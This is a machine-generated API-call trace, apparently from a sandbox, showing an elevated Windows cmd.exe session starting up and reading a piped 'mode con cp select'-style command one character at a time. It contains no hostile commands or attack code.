	[0086.556] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0086.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18f520 | out: lpFindFileData=0x18f520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28efb9a0, ftLastAccessTime.dwHighDateTime=0x1d50c3c, ftLastWriteTime.dwLowDateTime=0x28efb9a0, ftLastWriteTime.dwHighDateTime=0x1d50c3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x1db740
	[0086.556] FindClose (in: hFindFile=0x1db740 | out: hFindFile=0x1db740) returned 1
	[0086.556] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0086.556] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0086.556] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0086.556] GetProcessHeap () returned 0x1c0000
	[0086.556] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1dac30 | out: hHeap=0x1c0000) returned 1
	[0086.556] GetEnvironmentStringsW () returned 0x1db740*
	[0086.557] GetProcessHeap () returned 0x1c0000
	[0086.557] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xae8) returned 0x1dc230
	[0086.557] FreeEnvironmentStringsW (penv=0x1db740) returned 1
	[0086.557] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9ec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0086.557] GetProcessHeap () returned 0x1c0000
	[0086.557] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1db6d0 | out: hHeap=0x1c0000) returned 1
	[0086.557] GetProcessHeap () returned 0x1c0000
	[0086.557] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x4016) returned 0x1dcd20
	[0086.557] GetProcessHeap () returned 0x1c0000
	[0086.557] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1dcd20 | out: hHeap=0x1c0000) returned 1
	[0086.557] GetConsoleOutputCP () returned 0x1b5
	[0086.559] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9ebfe0 | out: lpCPInfo=0x4a9ebfe0) returned 1
	[0086.559] GetUserDefaultLCID () returned 0x409
	[0086.559] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a9e7b50, cchData=8 | out: lpLCData=":") returned 2
	[0086.559] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f920, cchData=128 | out: lpLCData="0") returned 2
	[0086.559] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18f920, cchData=128 | out: lpLCData="0") returned 2
	[0086.559] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18f920, cchData=128 | out: lpLCData="1") returned 2
	[0086.559] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a9fa740, cchData=8 | out: lpLCData="/") returned 2
	[0086.559] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a9fa4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a9fa460, cchData=32 | out: lpLCData="Tue") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a9fa420, cchData=32 | out: lpLCData="Wed") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a9fa3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a9fa3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a9fa360, cchData=32 | out: lpLCData="Sat") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a9fa700, cchData=32 | out: lpLCData="Sun") returned 4
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a9e7b40, cchData=8 | out: lpLCData=".") returned 2
	[0086.560] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a9fa4e0, cchData=8 | out: lpLCData=",") returned 2
	[0086.560] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0086.561] GetProcessHeap () returned 0x1c0000
	[0086.561] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20c) returned 0x1d95c0
	[0086.561] GetConsoleTitleW (in: lpConsoleTitle=0x1d95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0086.561] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.561] GetFileType (hFile=0xf4) returned 0x3
	[0086.561] BrandingFormatString () returned 0x1d97e0
	[0086.581] GetVersion () returned 0x1db10106
	[0086.581] _vsnwprintf (in: _Buffer=0x18fa90, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x18fa28 | out: _Buffer="6.1.7601") returned 8
	[0086.581] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.581] GetFileType (hFile=0xf4) returned 0x3
	[0086.581] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a9f6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0086.581] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a9f6340, nSize=0x2000, Arguments=0x18fa30 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24
	[0086.581] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37
	[0086.581] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f9b8*=0x24, lpOverlapped=0x0) returned 1
	[0086.581] _vsnwprintf (in: _Buffer=0x4a9f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18fa58 | out: _Buffer="\r\n") returned 2
	[0086.582] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.582] GetFileType (hFile=0xf4) returned 0x3
	[0086.582] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0086.582] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18fa28*=0x2, lpOverlapped=0x0) returned 1
	[0086.582] _vsnwprintf (in: _Buffer=0x4a9f6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x18fa58 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.") returned 63
	[0086.582] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.582] GetFileType (hFile=0xf4) returned 0x3
	[0086.582] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation.  All rights reserved.", lpUsedDefaultChar=0x0) returned 64
	[0086.582] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18fa28*=0x3f, lpOverlapped=0x0) returned 1
	[0086.582] _vsnwprintf (in: _Buffer=0x4a9f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18fa58 | out: _Buffer="\r\n") returned 2
	[0086.582] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.582] GetFileType (hFile=0xf4) returned 0x3
	[0086.582] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0086.582] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18fa28*=0x2, lpOverlapped=0x0) returned 1
	[0086.582] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000
	[0086.582] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0
	[0086.582] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290
	[0086.582] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0
	[0086.582] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.583] GetFileType (hFile=0xe8) returned 0x3
	[0086.583] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0086.583] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x18f880 | out: TokenHandle=0x18f880*=0x0) returned 0xc000007c
	[0086.583] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x18f880 | out: TokenHandle=0x18f880*=0x50) returned 0x0
	[0086.583] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x18f890, TokenInformationLength=0x4, ReturnLength=0x18f898 | out: TokenInformation=0x18f890, ReturnLength=0x18f898) returned 0x0
	[0086.583] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x18f898, TokenInformationLength=0x4, ReturnLength=0x18f890 | out: TokenInformation=0x18f898, ReturnLength=0x18f890) returned 0x0
	[0086.583] NtClose (Handle=0x50) returned 0x0
	[0086.583] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x18f860, nSize=0x0, Arguments=0x18f868 | out: lpBuffer="\x97e0\x1d") returned 0xf
	[0086.583] GetProcessHeap () returned 0x1c0000
	[0086.583] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x218) returned 0x1c1ab0
	[0086.583] GetConsoleTitleW (in: lpConsoleTitle=0x18f8b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0086.583] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0086.584] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1
	[0086.584] GetProcessHeap () returned 0x1c0000
	[0086.584] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1ab0 | out: hHeap=0x1c0000) returned 1
	[0086.584] LocalFree (hMem=0x1d97e0) returned 0x0
	[0086.584] GetProcessHeap () returned 0x1c0000
	[0086.584] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1daa10 | out: hHeap=0x1c0000) returned 1
	[0086.585] _vsnwprintf (in: _Buffer=0x4a9f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f598 | out: _Buffer="\r\n") returned 2
	[0086.585] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.585] GetFileType (hFile=0xf4) returned 0x3
	[0086.585] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0086.585] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f568, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f568*=0x2, lpOverlapped=0x0) returned 1
	[0086.585] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0086.585] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9ec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0086.585] _vsnwprintf (in: _Buffer=0x4a9deb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f5a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0086.585] _vsnwprintf (in: _Buffer=0x4a9debaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f5a8 | out: _Buffer=">") returned 1
	[0086.585] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.585] GetFileType (hFile=0xf4) returned 0x3
	[0086.586] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39
	[0086.586] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f598, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f598*=0x26, lpOverlapped=0x0) returned 1
	[0086.586] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.586] GetFileType (hFile=0xe8) returned 0x3
	[0086.586] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.586] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.586] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee320, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0086.587] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.587] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.587] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee322, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0086.587] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.587] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.587] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee324, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0086.587] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.587] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee326, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0086.588] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0086.588] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0086.588] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.588] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0086.588] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.588] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0086.589] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.589] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0086.589] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.589] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee332, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0086.589] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.589] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee334, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0086.589] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.589] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.589] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0086.590] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.590] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.590] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee338, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0086.590] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.590] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.590] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0086.590] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.590] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.590] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0086.590] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.590] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.590] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0086.591] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.591] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.591] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee340, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0086.591] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.591] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
